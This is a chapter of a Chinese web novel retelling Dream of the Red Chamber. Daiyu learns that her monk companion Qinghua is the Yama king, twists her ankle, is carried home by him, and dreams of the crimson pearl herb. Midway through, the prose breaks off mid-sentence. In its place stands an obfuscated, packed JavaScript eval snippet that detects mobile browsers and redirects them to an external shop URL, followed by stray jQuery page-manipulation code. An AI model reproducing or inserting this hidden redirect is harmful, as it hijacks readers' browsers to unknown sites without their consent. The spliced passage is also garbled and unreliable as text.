秦淮河晚风徐徐,石桥之上,薛蟠摔得满嘴血腥,断牙滚落狼狈不堪的模样尽数落于众人眼底。
柳湘莲亲眼印证青华所言天机,字字应验分毫不差,方才满腹疑虑尽数消散,醺醺酒意也瞬间醒了大半。
他收敛嬉闹神色,郑重抬手对着青华拱手一礼,语气由衷信服:“大师神通莫测,洞悉天机,此番教诲,湘莲谨记在心,绝不敢忘。”
青华垂眸浅笑,眉眼淡然中却是神色莫测,一身寻常僧衣却自带超凡气韵,端的是高深莫测的高人姿态,将那随性洒脱的神棍本色展露无遗。
三人不再逗留河畔,一同弃舟登岸,作别分离。
柳湘莲素来心性通透,行事果决,今日当众痛殴薛家嫡子,深知薛家势大,绝非寻常人家可得罪,不愿在金陵久留徒惹祸端。
他心中已然打定主意,即刻置办舟船北上远游,先去往川蜀之地览遍山河风光,再另行谋划往后境遇。
陌路相逢,萍缘短促。
三人就此揖别,各赴前路。
青华怀中抱着醉得人事不省瘫软一团的青九,步履悠然。
黛玉手中捧着满满一兜新鲜莲蓬,边走边剥,随口送了一颗入口,清甜未至,满口苦涩瞬间蔓延舌尖浸透喉间。
她当即停下脚步,蹙着远山黛眉,微微跺脚,带着几分娇憨委屈嗔道:“大和尚都害我!这颗莲子苦涩得很,半点不好吃。”
青华侧目看她,眼底漾着浅浅笑意,语气慢悠悠,从容淡然:“良药苦口,人世亦是如此。偶尔尝些苦涩滋味,未必是坏事,可净心明性。”
黛玉偏不依他,仰头瞪着他,娇嗔软语带着软糯尾音,如云雾聚散缱绻缠绵:“我偏不要吃苦!哼,你就是故意的,对我一点都不好。”
青华素来最怕见她委屈蹙眉心生不悦的模样,见状瞬间收敛散漫姿态,连忙柔声哄劝:“是我错了,是我思虑不周。下次我先替你尝过,但凡苦涩的绝不递你口中,只留清甜的给你。”
“这还差不多。”黛玉转而又笑,声音清软如糖,勾人心魄,“你这人总不能先说些好话,偏生等人生气了才知悔改,好生无趣。”
“等你做了上万年的无情刻薄之人,便知道我这已经算好的了,你若见到我在地府模样,怕是要吓哭。”
这些年,她心中揣测已久,答案早已呼之欲出,却故意不点破,只轻轻哼了一声,故作淡然:“我又不是未曾去过地府,十阎王我也曾亲眼得见,也不见有何等可怖。”
青华微微侧目,心底颇有兴致,想听听她对自己真身的评价,语气随性追问:“哦?那在你眼中,他是何等模样?何以不算可怖?”
黛玉想起地府那尊高高在上的身影,直言吐槽,语气带着几分少年俏皮的刻薄:“自然是凶神恶煞,看着丑陋无比,还格外故作高深,装模作样。黑漆漆的阎罗大殿之中,偏偏戴一副遮眼墨镜,故作神秘。依我看,不是眼睛有疾视物不清,便是心底有病故作姿态。”
此言一出,青华心头瞬间气结,险些气到仰面长叹。
万古幽冥,执掌轮回,他端坐十殿阎王之位,兢兢业业筹谋万千,耗费无数心力,为她逆天改命铺就顺遂仙途,精心为她谋得一世安稳富贵无忧人生,堪称千年以来最尽心尽责体恤众生的阎罗帝君。
万万没想到,在这姑娘心底,他竟是这般不堪模样——眼盲心黑、故作姿态、丑陋可怖。
千年功绩,万般筹谋,仿佛尽数付诸东流。
待她百年寿终正寝重归幽冥,若是恰逢地府优秀阎王考评,她当真提笔给自己打上一个差评,千年英名一世清誉,岂非要毁于一旦沦为三界笑话?
越想越心伤越想越憋屈,十殿阎王瞬时闹起了别扭,满心郁结。
全然不顾脚边被他摔在地上迷迷糊糊挣扎起身的青九,他甩手转身大步前行,周身寒气微凝,再也不肯分半点好脸色给黛玉。
黛玉见他骤然冷脸大步离去,俊秀眉眼紧绷神色郁结,分明是气到极致的模样,瞬间知晓自己言语过重戳到了他的痛处,心底当即生出几分悔意。
她连忙提步快步追上,可青华步速极快,顺着灯火璀璨风月繁华的秦淮河岸一路前行,丝毫不做停留。
沿途画舫林立,红袖招展,楼中穿红着绿的风尘女子,见他年少俊美气质清绝,纷纷开窗探头,抛掷鲜花手绢,笑语挑逗。
旁人艳羡的风流艳遇,落在黛玉眼中,却只剩满心焦灼不安。
她生怕这闹别扭的地府大人物当真动怒不肯理她,急急追赶,心神慌乱之下,步履不及收住。
忽地“哎呦”一声轻呼,她脚尖不慎踢中路旁半旧的陶土花盆,收脚太急重心不稳,脚腕骤然一扭,整个人踉跄着跌坐于青石路面之上。
脚踝瞬时传来一阵尖锐刺痛,她蹙着眉扶住脚腕,软声轻唤:“大师,我脚崴了,疼得厉害。”
前方步履匆匆的青华,本是决意晾她一晾,让这不知天高地厚的姑娘知晓人间险恶,对自己生些敬畏,可听闻她软糯疼呼,心口却不受心绪掌控,骤然一紧,身躯先于理智,硬生生驻足停步。
他无奈轻叹一声,终究是拗不过本心,转身折返,快步走到黛玉身前屈膝蹲下,目光落在她红肿的脚腕上,语气带着几分无奈纵容:“走路这般不看路,踢到花盆扭伤了?”
黛玉脚尖阵阵刺痛,脚腕酸胀难忍,眼眶微微泛红蓄满水光,隔着轻薄帷帽软声应道:“你走得太快,我追不上,一时心急便扭到了。”
河畔画舫窗棂边,一众看热闹的女子纷纷俯身探头,甩着粉红手绢,笑语盈盈地娇声起哄:“哎呀,小师父,姑娘家扭了脚走不得路,你索性抱了她回去,岂不省事!”
软糯娇俏的调笑声此起彼伏,落于耳畔。
素来脸皮厚实随性不羁的青华,此刻竟莫名耳尖发烫,脸颊染上薄红,但转瞬便掩了过去,夜色中随风而逝,让人无从觉察。
他指尖轻轻抚上黛玉的脚腕,细细探查伤势,语气温沉安抚:“无妨,只是扭了筋络,未曾伤及骨头,休养两日便会尽数好转,无甚大碍。”
黛玉抬手轻轻扯住他的僧衣袖摆,指尖微微攥紧,隔着朦胧轻纱,泪眼汪汪地望着他,语气满是诚恳歉意:“对不起大师,我方才言语刻薄,胡乱说笑,不该随意诽谤地府大人,惹你生气,你别恼我了。”
青华垂眸望着她湿漉漉的眼眸软糯认错的模样,心头郁结瞬间消散大半。
他暗自思忖,此番纠葛本是自己之过,昔日地府天机乌龙,是自己筹谋疏漏,如今费尽心力弥补周全,本就是分内之事。
黛玉不知他阎王真身不懂前尘因果,能坦然待他赤诚相待,已然难得,又何来苛责与改观之说?
他低声轻叹,主动退让:“是我小气执拗,不该与你置气,该是我向你道歉。”
黛玉连忙攥紧他的衣袖,急忙补救软声哄劝:“是我不好,我不该胡说八道,妄言你、哦你家大人眼疾心疾。大和尚眼亮心明。心怀赤诚,是天上人间地下第一等好人,我最喜欢大和尚了。”
幼时她每每哄他开心,总爱说这句“最喜欢”。
时隔多年,这般软糯娇甜的话语再次入耳,熟悉又缱绻,瞬间漫过心头。
青华原本消散红粉的的耳尖,血色再次蔓延,一路染遍面颊,素来清冷白皙的容颜,竟生生透出一层薄红,温润动人。
他微微偏头,故作端庄自持,语气却藏着几分慌乱克制:“阿弥陀佛,出家人摒弃七情六欲无欲无求,实在不敢当施主这般厚爱。”
黛玉见状忍不住“噗嗤”轻笑出声,眼底满是狡黠灵动:“你还当真守着出家人的规矩自持?好好一位执掌幽冥万人敬畏的十殿阎王,偏偏屈身做这凡尘和尚,委屈至此,竟半点不觉得折损身份么?”
青华身形微僵,愕然抬眸:“你……已然猜出我的身份了?”
黛玉微微偏头,眉眼弯弯得意狡黠:“原本我只是心中揣测不敢确定,方才故意诈你一句,倒是你自己不打自招,坦然认了。
”
青华无奈抬手抚了抚自己光洁的额头,心中暗自苦笑:果然阎王遇上了命中克星,千年定力,万般沉稳,尽数清零,不慌不乱才怪。
他故作板起面容,语气带着几分佯装的威慑:“好啊,知晓我真身,还敢肆意编排我眼盲心黑故作姿态?看我不罚你下地……”
话说一半,他骤然生生收口及时止住。
阎王口舌素来凌厉,言随法行,那些幽冥狠厉之言于惩戒之语,万万不可对着这般灵动鲜活的女孩儿言说,恐惊了她,伤了她。
他抿唇收了余下狠话,转为温沉一句:“罢了,先归家安顿,其余之事,日后再说。”
他想又不得不提点,“以前你不知我的身份,肆意玩笑并无妨碍,但日后定要谨言慎语,阎王执掌三界轮回,戾气缠身,是厉鬼都不敢亲近之人,万不可随意妄言长短,会给自身招祸,小则百病缠身,重则影响阳寿。”
黛玉见他神色慎重,不敢再玩笑,默然点头。
但她却小手悄悄捏了他的衣角,轻轻晃了晃,看着自己受伤的脚尖低语说,“可是,在我心里你是青华,不是什么面目可憎的阎王爷,我就是不怕你,也不想怕你,那该怎么办?”
青华无语,摸了摸光洁的脑门,失笑,“也罢,你我相处本就是如师如友,我停留阳间,也是回归我本来面目,自在如人度日,无甚高洁之处。我无官阶加身,不过如一卸任官员,不过我前身在阴间任职!你也无须挂怀我昔日身份。我们如旧交往即可。”
黛玉抬眼,笑靥如花,连连点头。
她就怕揭开青华身份后,惹他不自在,他就此离去。
这一别数年,她每每思及两人自在相处时日,心中煎熬,青华此番归来,她不愿他再次离去。
虽说不清自己到底什么心思,但黛玉明白,只要青华留在她的身边,她便快乐无比。
不为他能护自己康健安稳,只为那一点默契自然。
这世间,能与林黛玉心意相通之人,再不是贾宝玉,而是青华!
黛玉脚踝疼痛,虽笑着,但忍不住蹙眉,那盈盈羸弱模样,惊醒青华。
他赶紧俯身欲扶黛玉起身。
河畔画舫的姑娘们看热闹正酣,见状愈发大胆起哄,声声笑语漫过晚风:“小师父干脆抱得佳人归!成全一段风月佳话!”
青华闻言,再也不在意,褪去方才的拘谨腼腆,重归素来随性不羁坦荡洒脱的模样。
他抬眼望向一众红袖佳人,桃花眼熠熠生辉,流光潋滟,一眼望去,竟胜过满江秦淮风月。
楼中女子尽数看得失神,手中手绢悄然滑落,浑然不觉。
他声线清冽带笑,坦然应声:“佛门戒律,抱姿不合规矩。抱不得,倒是可以背着。”
话音未落,他俯身反手环住黛玉纤腰,轻轻将她背起。
少年修长挺拔的身姿与宽阔安稳的肩头,稳稳承住她盈盈一握的娇小身躯。
“坐稳了,归家了。”
黛玉脚踝刺痛难忍,确实无法行走,只能乖乖伏在他宽厚安稳的背上。
她娇小玲珑身姿轻盈,软软一团贴合着他的脊背。
青华缓步前行,低声轻叹,语气带着几分宠溺嗔怪:“养了你这么多年,依旧这般清瘦单薄,半点不长肉,看着都让人怜惜。”
他目光垂落,瞥见路边那株被踢翻的花盆,盆中一株细弱兰花枝叶单薄却韧性十足。
他顺势弯腰抬手拾起,淡淡道:“无端相遇便是缘分,这株兰草与你我有缘,一并带回府中栽种。”
黛玉静静伏在他的背上,鼻尖萦绕着他身上清冽干净的气息。
明明是少年清朗的身形气度,却有着成年男子的挺拔沉稳,可靠安稳。
常年萦绕的淡淡佛香混着林间草木的清润冷香,丝丝缕缕沁人心脾,让人无端心安踏实。
她轻轻闭上双眼,心头泛起一股跨越万古的熟稔与安宁。
这般场景,这般温度,仿佛穿过悠悠岁月与漫漫时间长河,自洪荒远古而来,熟悉、安稳,缱绻入骨。
不知何时,温热湿润的泪珠悄然滑落,滴落在他颈间,微凉细碎。
青华察觉,脚步微顿,声线骤然放得极柔极沉,满是慌乱无措:“怎么哭了?可是脚踝太疼?是我不好,皆是我的错,你别哭了,好不好?”
他低声轻叹,语气温柔得近乎卑微,似在安抚懵懂少女,又似在救赎万古孤寂的自己,言辞恳切:“我答应你,往后再也不会抛下你一人。”
黛玉鼻尖酸涩带着哭腔,软糯追问:“说话算话?绝不反悔?”
青华语气笃定,带着万年不变的笃定与真诚:“我十殿阎王历经数万载岁月,一言九鼎,怎会欺瞒一个小姑娘?”
这话入耳格外耳熟,瞬间勾起往昔记忆。
黛玉蓦然想起当年幽冥地府的轮回殿中,他意气风发,笑意散漫,对着初入轮回懵懂无知的自己,百般忽悠许下万千诺言。
过往交往情景翻涌心头,一应委屈酸涩尽数消散。
她破涕为笑,抬手轻轻捶了一下他的肩头,娇憨灵动。
晚风拂过,二人一路前行,温柔缱绻。
不多时,青华背着黛玉行至柳树街林府门前。
明玉早已立在门口翘首等候,忽见黛玉被青华稳稳背着归来,听闻黛玉受伤,大惊失色,险些急哭:“这是怎么的!好好的出去一趟,怎的就受伤了?伤得重不重?”
黛玉连忙柔声安抚:“无妨,只是不慎扭了脚,不碍事的,休养几日便好。”
明玉素来心急,见状全然放心不下,连忙就要转身去请大夫上门诊治。
青华连忙开口唤住她,语气笃定从容:“不必请大夫,你速速去厨房取些冰块来,我为她推拿冷敷疏通筋络即可。”
明玉素来信服二人,闻言不再多言,匆匆转身去往厨房取冰。
青华小心翼翼将黛玉安置在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17835988|211421||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
床榻坐好,轻轻褪去她脚上的布鞋。
一双白皙秀气玲珑小巧的脚丫展露眼前,脚腕处微微红肿,添了几分孱弱娇柔。五根脚趾圆润可爱,粉嫩精致,干净无瑕。
黛玉素来无心,与青华相处惯了,不拘此等小节,只静静坐着,全然未曾避讳。
可青华目光落于其上,心头却悄然微动,再次失神。
他虽身披僧衣久居佛门,到底不是真正六根清净断绝七情的出家人,此刻望着这般纯净美好的模样,一时竟看得微微怔忡,心神荡漾。
恰在此时,润玉听闻姐姐受伤,满心焦灼地快步冲入房中。
抬眼便撞见这般旖旎画面——清俊小和尚垂眸凝神,对着自家姐姐莹白秀气的足尖微微失神。
若是旁人敢这般放肆无状地唐突姐姐,润玉早已一拳挥出上前惩戒。
可面对自小相伴渊源深厚的三生居士,他心底知晓对方品性高洁从无恶意,一时进退两难,只能轻咳一声,悄然提醒。
黛玉闻声回神,下意识想要收脚避让。
青华反应更快,抬手迅速取过一旁干净手绢,轻轻盖住她的脚丫,隔绝视线。
随即抬眸望向门外,神色自然,若无其事地开口问询:“冰块可曾取来?”
明玉恰好捧着冰块匆匆赶来。
青华将冰块细细裹入手绢之中,又将方才带回的那株瘦弱兰花摘下两片鲜嫩花瓣,一并纳入绢袋仔细系好。
他屈膝蹲身,将微凉的绢袋轻轻覆在黛玉红肿的脚腕之上。
冰凉触感丝丝缕缕渗入肌肤,消解酸胀刺痛,伴着淡淡的清雅兰香萦绕鼻尖,沁人心脾舒缓心神。
黛玉连日奔波,今日又是心绪起伏不定,此刻身心放松,瞬间生出几分昏沉睡意,眉眼恹恹。
朦胧恍惚之间,她只觉身子一轻,已然被人轻柔抱上床榻妥帖安置。
温热指尖轻轻拂过她的鬓发,低沉温柔的嗓音在耳畔缓缓漫开,缱绻温柔:“睡吧,好好眠,今夜做个清甜好梦。”
鼻端兰香幽幽清润绵长,似兰非麝清雅绝尘,驱散所有烦闷焦躁,让人身心舒畅。
沉沉睡意席卷而来,黛玉缓缓阖眼入梦。
梦中只见一片澄澈碧玉的鹅卵石滩,依水而立,清灵洁净,滩边静静伫立一株血色仙草,枝叶纤细摇曳生姿,随风舒展暗香浮动,缕缕清香漫遍四方。
远处有仙官路过,驻足惊叹:“此株绛珠草灵动绝尘长势喜人,究竟是何人栽种于此?”
一身白衣仙袍的侍者手执玉壶,细细为仙草浇灌仙汁玉露,笑意温润,朗声应答:“此乃帝君万年前亲手栽种于此,特意嘱托我悉心照料,我日日浇灌,如今已然长成这般模样,清丽绝伦,惹人怜爱。”
风过影动,只见一抹华贵紫色衣角拂过青草,慵懒散漫的低沉嗓音缓缓响起,带着几分漫不经心的淡然:“原来已是这般时日,我倒是全然忘却了。”
黛玉静静伏在绛珠草旁,听闻这熟悉至极的嗓音,万古熟稔万般亲近尽数涌上心头,仿佛等候了悠悠万年。
可听闻那句“已然忘却”,心头瞬间酸涩弥漫委屈翻涌,晶莹泪珠再也克制不住,簌簌滚落。
那紫衣帝君似是察觉她的存在与委屈,微微驻足,俯身而来,修长如玉的指尖轻轻抬手,温柔拭去她眼角滴落的清泪,语气带着几分无奈纵容,浅浅笑意:“小小草木,脾气倒是不小,动辄落泪。”
黛玉满心酸涩,不愿理会,竭力想要看清他的眉眼容颜,可眼前光影朦胧始终看不真切。
忽然耳边传来两声清脆狗吠,猛然惊醒梦境。
她骤然睁眼,朦胧视线恰好对上一双灼灼桃花眸,眼型狭长媚而不妖,眼底却是澄澈通透,与梦中那紫衣帝君的神韵眉眼,全然一般无二,分毫不差。
一时梦境现实交织重叠难分真假,黛玉怔怔发呆,恍然失神。
青九哒哒哒跑到床沿,挡在她与青华之间,仰头望着她,汪汪轻吠两声,似在问询她为何梦中落泪,又为何失魂落魄。
青华方才正立于窗边,细细打理那株带回的兰草,听见她的哽咽,将将回头,撞进她那双烟雾洇染的眸子。
他见她如此落寞失魂模样,心神一颤,放下手中水壶,快步俯身至床前,温柔凝视着她,语气满是关切:“可是做了噩梦?怎的哭红了眼眶,落了这许多眼泪?”
修长玉白的指尖温柔伸出,轻轻拭去她眼角残留的泪痕,温热触感清晰真切。
本已停歇的酸涩再次翻涌,黛玉鼻尖一酸,泪珠再度不受控制地滚落,绵绵不绝。
青华瞬间慌乱无措,寻不到手绢,只得抬手用干净衣袖,细细替她擦拭泪痕,语气满是疑惑焦灼:“脚腕已然为你揉开淤堵,冷敷消肿伤势渐愈,不该这般疼痛落泪。究竟是哪里不适?”
他不放心,轻轻掀开薄被,再次细细探查她的脚腕,红肿已然尽数褪去,肌肤恢复白皙光洁,并无半点异样。
黛玉心头又酸又甜,羞恼他的无状,板起小脸,语气娇蛮嗔怨:“疼!疼得厉害!都是大和尚的错,都怪你!”
青华抬手摸摸光洁脑门,满心无奈,全然不知该如何哄劝,望着她眼眶泛红,长睫沾湿泪眼朦胧的模样,像一枝经雨娇蝶楚楚可怜,他那颗历经万年沧桑早已磐石般坚硬的阎王心,终究是再次软成一汪春水,涟漪阵阵。
他低声轻叹,语气带着万般纵容,无可奈何地说:“罢了,是我输了。倒像是前世欠了你万般泪债,今生今世,隔三差五便要被你哭上一场,讨还泪缘。”
这话轻轻入耳,黛玉心头骤然一震,灵光乍现。
她蓦然回想自身境遇,前世本是杀伐果断心性坚韧的女强人,一生顺遂从不知落泪为何物。
可偏偏转世投胎入了这黛玉之身,却变得格外柔弱敏感,常日多愁善感。
世人皆道黛玉此生是为贾宝玉还泪而来,可她细细回想,今生所有的委屈与酸涩,柔软与落泪,尽数给了眼前这看似散漫温柔的小和尚,她从未对贾宝玉有半分情愫,更无从有过半分泪意。
这漫漫还泪之路,究竟是还谁的情偿谁的债?
万千思绪翻涌心头,她咬着唇瓣,抬手用衣袖遮住泛红的眼眸,故作恼羞成怒:“讨厌死大和尚了!我不想见你,不想与你说话!”
青华见她语气娇嗔,眉眼舒展中已然褪去方才的委屈酸涩,知晓她心绪已然好转。他顺势抬手轻轻提起青九的脖颈,语气故作冷淡:“既然不愿见我,那我便暂且离去,让丫鬟进来伺候你歇息。”
说罢,他转身缓步离去,身后传来他低声训诫青九的温柔嗓音:“往后不许再贪酒偷食,再犯便罚你禁闭。”
房门轻掩,人声渐远。
黛玉想起自己方才幼稚矫情肆意闹脾气的模样,心头生出几分羞恼,忍不住懊恼自己的反复无常。
梦中万古沧桑的郁结与前世今生的迷茫怅惘,尽数消散在这一嗔一闹,一温柔一纵容之间,到底只剩岁岁安然。